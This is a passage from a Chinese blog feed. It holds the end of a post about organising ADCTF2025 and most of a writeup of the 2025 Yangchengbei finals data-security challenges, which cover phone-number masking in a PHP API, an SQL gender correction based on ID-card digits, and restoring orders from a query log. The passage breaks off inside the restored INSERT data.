API，并做了一个简单的小玩具</p><blockquote><p>A1CTF-Journalist: <a href="https://github.com/GamerNoTitle/A1CTF-Journalist">https://github.com/GamerNoTitle/A1CTF-Journalist</a></p></blockquote><p>反正主打一个能用就行，就跑上了</p><h1 id="倒计时海报"><a href="#倒计时海报" class="headerlink" title="倒计时海报"></a>倒计时海报</h1><p>用 canvas 做的，凑合看看吧</p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/ADCTF3Days.png"></p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/ADCTF2Days.png"></p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/ADCTF1Day.png"></p><h1 id="统计数据"><a href="#统计数据" class="headerlink" title="统计数据"></a>统计数据</h1><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/1.png"></p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/2.png"></p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/3.png"></p><p><img src="https://assets.bili33.top/img/Creating-Challenges-for-ADCTF2025/4.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="ADCTF" scheme="https://bili33.top/tags/ADCTF/"/>
    
    <category term="ADCTF2025" scheme="https://bili33.top/tags/ADCTF2025/"/>
    
  </entry>
  
  <entry>
    <title>2025 羊城杯决赛个人做题思路 Writeup</title>
    <link href="https://bili33.top/posts/CTF-YCB2025-Finals/"/>
    <id>https://bili33.top/posts/CTF-YCB2025-Finals/</id>
    <published>2025-10-25T12:33:43.000Z</published>
    <updated>2026-03-31T05:59:59.342Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>本次羊城杯比赛主要分为了三个部分：综合渗透、应急响应、数据安全，而在比赛中我主要负责的是应急响应和数据安全部分</p><p>综合渗透和应急响应是有交叉的，所以我会丢在一起讲</p><h1 id="数据安全"><a href="#数据安全" class="headerlink" title="数据安全"></a>数据安全</h1><p>本次我做的是数据安全的第二到第四题，第一题用 AI 梭了，但是有问题，后面队友补充了，我这里讲一下后面三道题目吧</p><p>交完最后一个 DS4 也是美美暂时做到了第一的宝座</p><p><img src="https://assets.bili33.top/img/CTF-YCB2025-Finals/image-20251025104117-dhweqmm.png?v=1"></p><h2 id="DS2"><a href="#DS2" class="headerlink" title="DS2"></a>DS2</h2><blockquote><p>本题考点为数据脱敏，选手需要通过 SSH(端口10222)连接环境，修改现有 PHP 接口代码(api.php)，使其在读取数据库表单中包含敏感信息时，自动进行脱敏输出。完成后访问 Check 服务进行检测，Check 通过即可获得 FLAG。 </p><p>接口文件：api.php 判定标准: 返回数据中，敏感数字字段进行脱敏格式处理，并且不能修改原数据。</p><p>其余字段（uuid, username, email, gender, age 等）与数据库一致。 </p></blockquote><p>给了 <code>api.php</code>，实际上重点在下面查询数据库并输出的地方</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="comment">// 使用 mysqli 连接</span></span><br><span class="line">    <span class="variable">$mysqli</span> = <span class="title function_ invoke__">mysqli_init</span>();</span><br><span class="line">    <span class="comment">// 连接超时与重连配置（可选）</span></span><br><span class="line">    <span class="title function_ invoke__">mysqli_options</span>(<span class="variable">$mysqli</span>, MYSQLI_OPT_CONNECT_TIMEOUT, <span class="number">5</span>);</span><br><span class="line">    <span class="keyword">if</span> (!@<span class="title function_ invoke__">mysqli_real_connect</span>(<span class="variable">$mysqli</span>, <span class="variable">$dbHost</span>, <span class="variable">$dbUser</span>, <span class="variable">$dbPass</span>, <span class="variable">$dbName</span>, <span class="number">3306</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;db_connect_failed: &#x27;</span> . <span class="title function_ invoke__">mysqli_connect_error</span>());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (!@<span class="variable">$mysqli</span>-&gt;<span class="title function_ invoke__">set_charset</span>(<span class="string">&#x27;utf8mb4&#x27;</span>)) &#123;</span><br><span class="line">        <span class="comment">// 字符集设置失败不致命，但记录</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$uuid</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;uuid&#x27;</span>]) ? <span class="title function_ invoke__">trim</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;uuid&#x27;</span>]) : <span class="literal">null</span>;</span><br><span class="line">    <span class="variable">$username</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;username&#x27;</span>]) ? <span class="title function_ invoke__">trim</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;username&#x27;</span>]) : <span class="literal">null</span>;</span><br><span class="line">    <span class="variable">$id</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>]) ? <span class="title function_ invoke__">intval</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>]) : <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$id</span> !== <span class="literal">null</span> &amp;&amp; <span class="variable">$id</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="variable">$sql</span> = <span class="string">&#x27;SELECT uuid, username, phone, gender, age, email FROM users WHERE id = ? LIMIT 1&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$stmt</span> = <span class="variable">$mysqli</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="variable">$sql</span>)) &#123;</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bind_param</span>(<span class="string">&#x27;i&#x27;</span>, <span class="variable">$id</span>);</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">            <span class="variable">$res</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">get_result</span>();</span><br><span class="line">            <span class="variable">$rows</span> = <span class="variable">$res</span> ? <span class="variable">$res</span>-&gt;<span class="title function_ invoke__">fetch_all</span>(MYSQLI_ASSOC) : [];</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">close</span>();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;db_prepare_failed&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">elseif</span> (<span class="variable">$uuid</span> !== <span class="literal">null</span> &amp;&amp; <span class="variable">$uuid</span> !== <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line">        <span class="variable">$sql</span> = <span class="string">&#x27;SELECT uuid, username, phone, gender, age, email FROM users WHERE uuid = ? LIMIT 1&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$stmt</span> = <span class="variable">$mysqli</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="variable">$sql</span>)) &#123;</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bind_param</span>(<span class="string">&#x27;s&#x27;</span>, <span class="variable">$uuid</span>);</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">            <span class="variable">$res</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">get_result</span>();</span><br><span class="line">            <span class="variable">$rows</span> = <span class="variable">$res</span> ? <span class="variable">$res</span>-&gt;<span class="title function_ invoke__">fetch_all</span>(MYSQLI_ASSOC) : [];</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">close</span>();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;db_prepare_failed&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">elseif</span> (<span class="variable">$username</span> !== <span class="literal">null</span> &amp;&amp; <span class="variable">$username</span> !== <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line">        <span class="variable">$sql</span> = <span class="string">&#x27;SELECT uuid, username, phone, gender, age, email FROM users WHERE username = ? LIMIT 100&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$stmt</span> = <span class="variable">$mysqli</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="variable">$sql</span>)) &#123;</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bind_param</span>(<span class="string">&#x27;s&#x27;</span>, <span class="variable">$username</span>);</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">            <span class="variable">$res</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">get_result</span>();</span><br><span class="line">            <span class="variable">$rows</span> = <span class="variable">$res</span> ? <span class="variable">$res</span>-&gt;<span class="title function_ invoke__">fetch_all</span>(MYSQLI_ASSOC) : [];</span><br><span class="line">            <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">close</span>();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&#x27;db_prepare_failed&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$sql</span> = <span class="string">&#x27;SELECT uuid, username, phone, gender, age, email FROM users ORDER BY username ASC LIMIT 100&#x27;</span>;</span><br><span class="line">        <span class="variable">$res</span> = <span class="variable">$mysqli</span>-&gt;<span class="title function_ invoke__">query</span>(<span class="variable">$sql</span>);</span><br><span class="line">        <span class="variable">$rows</span> = <span class="variable">$res</span> ? <span class="variable">$res</span>-&gt;<span class="title function_ invoke__">fetch_all</span>(MYSQLI_ASSOC) : [];</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$res</span>) &#123; <span class="variable">$res</span>-&gt;<span class="title function_ invoke__">free</span>(); &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$result</span>[<span class="string">&#x27;success&#x27;</span>] = <span class="literal">true</span>;</span><br><span class="line">    <span class="variable">$result</span>[<span class="string">&#x27;data&#x27;</span>] = <span class="variable">$rows</span>;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$mysqli</span>-&gt;<span class="title function_ invoke__">close</span>();</span><br><span class="line">&#125; <span class="keyword">catch</span> (<span class="built_in">Throwable</span> <span class="variable">$e</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">500</span>);</span><br><span class="line">    <span class="variable">$result</span>[<span class="string">&#x27;error&#x27;</span>] = <span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到这里查询了 <code>phone</code> 这个敏感字段，但是没有进行任何处理，所以处理一下就好了，添加这几行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">foreach</span> (<span class="variable">$rows</span> <span class="keyword">as</span> &amp;<span class="variable">$row</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$row</span>[<span class="string">&#x27;phone&#x27;</span>])) &#123;</span><br><span class="line">        <span class="variable">$phone</span> = <span class="title function_ invoke__">trim</span>(<span class="variable">$row</span>[<span class="string">&#x27;phone&#x27;</span>]);</span><br><span class="line">        <span class="variable">$row</span>[<span class="string">&#x27;phone&#x27;</span>] = <span class="title function_ invoke__">substr</span>(<span class="variable">$phone</span>, <span class="number">0</span>, <span class="number">3</span>)</span><br><span class="line">                    . <span class="string">&#x27;*****&#x27;</span></span><br><span class="line">                    . <span class="title function_ invoke__">substr</span>(<span class="variable">$phone</span>, <span class="number">8</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后就过了</p><h2 id="DS3"><a href="#DS3" class="headerlink" title="DS3"></a>DS3</h2><blockquote><p>本题考点为数据清洗，数据库存在一个表，字段：性别、身份证等信息，</p><p>现在性别存在部分存在异常，请你根据身份证算法，对性别进行核对，修复所有异常。</p><p>数据清洗完毕后访问 Check 服务进行检测，Check 通过即可获得 FLAG。  </p></blockquote><p>简单的很，我甚至不用打开 Python（其实是 Python 环境没装 sql 连接器）</p><p>直接用 navicat 连接一下，然后运行下面的 sql 语句就行</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">START</span> TRANSACTION;</span><br><span class="line"></span><br><span class="line"><span class="keyword">UPDATE</span> user_info</span><br><span class="line"><span class="keyword">SET</span> gender <span class="operator">=</span> <span class="keyword">CASE</span></span><br><span class="line">    <span class="keyword">WHEN</span> <span class="built_in">CAST</span>(<span class="built_in">SUBSTRING</span>(id_card, <span class="number">17</span>, <span class="number">1</span>) <span class="keyword">AS</span> UNSIGNED) <span class="operator">%</span> <span class="number">2</span> <span class="operator">=</span> <span class="number">0</span> <span class="keyword">THEN</span> <span class="string">&#x27;female&#x27;</span></span><br><span class="line">    <span class="keyword">ELSE</span> <span class="string">&#x27;male&#x27;</span></span><br><span class="line"><span class="keyword">END</span>;</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><h2 id="DS4"><a href="#DS4" class="headerlink" title="DS4"></a>DS4</h2><p>题目描述没有记下来，反正大致就是订单丢失了，然后要根据已有的日志进行恢复</p><p>直接去 dump 下来的 <code>query.log</code> 里面搜索 <code>INSERT INTO orders</code> 就行，本来我以为会一条一条插入的，结果是一次性插入了全部数据</p><p>那还说啥了，直接复制粘贴加回车的事情嘛</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> orders (id, user_id, product_id, quantity, status, created_at) <span class="keyword">VALUES</span></span><br><span class="line">(<span class="number">1</span>, <span class="number">4</span>, <span class="number">10</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-01-01 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">2</span>, <span class="number">17</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-01-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">3</span>, <span class="number">12</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-01-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">4</span>, <span class="number">2</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-01-04 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">5</span>, <span class="number">8</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-01-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">6</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-01-06 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">7</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-01-07 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">8</span>, <span class="number">5</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-01-08 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">9</span>, <span class="number">14</span>, <span class="number">1</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-01-09 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">10</span>, <span class="number">7</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-01-10 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">11</span>, <span class="number">14</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-01-11 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">12</span>, <span class="number">19</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-01-12 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">13</span>, <span class="number">17</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-01-13 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">14</span>, <span class="number">8</span>, <span class="number">8</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-01-14 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">15</span>, <span class="number">9</span>, <span class="number">9</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-01-15 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">16</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-01-16 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">17</span>, <span class="number">8</span>, <span class="number">8</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-02-16 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">18</span>, <span class="number">19</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-02-17 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">19</span>, <span class="number">13</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">20</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-19 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">21</span>, <span class="number">3</span>, <span class="number">10</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-02-20 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">22</span>, <span class="number">11</span>, <span class="number">3</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-02-21 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">23</span>, <span class="number">12</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-02-22 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">24</span>, <span class="number">16</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-23 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">25</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-24 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">26</span>, <span class="number">16</span>, <span class="number">1</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-25 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">27</span>, <span class="number">2</span>, <span class="number">9</span>, <span class="number">4</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-02-26 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">28</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-27 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">29</span>, <span class="number">7</span>, <span class="number">9</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-28 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">30</span>, <span class="number">1</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-02-29 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">31</span>, <span class="number">19</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-03-01 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">32</span>, <span class="number">11</span>, <span class="number">6</span>, <span class="number">4</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-03-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">33</span>, <span class="number">19</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-04-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">34</span>, <span class="number">3</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-04-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">35</span>, <span class="number">13</span>, <span class="number">1</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-04-04 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">36</span>, <span class="number">17</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-04-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">37</span>, <span class="number">17</span>, <span class="number">10</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-04-06 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">38</span>, <span class="number">4</span>, <span class="number">10</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-04-07 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">39</span>, <span class="number">12</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-04-08 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">40</span>, <span class="number">18</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-04-09 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">41</span>, <span class="number">10</span>, <span class="number">7</span>, <span 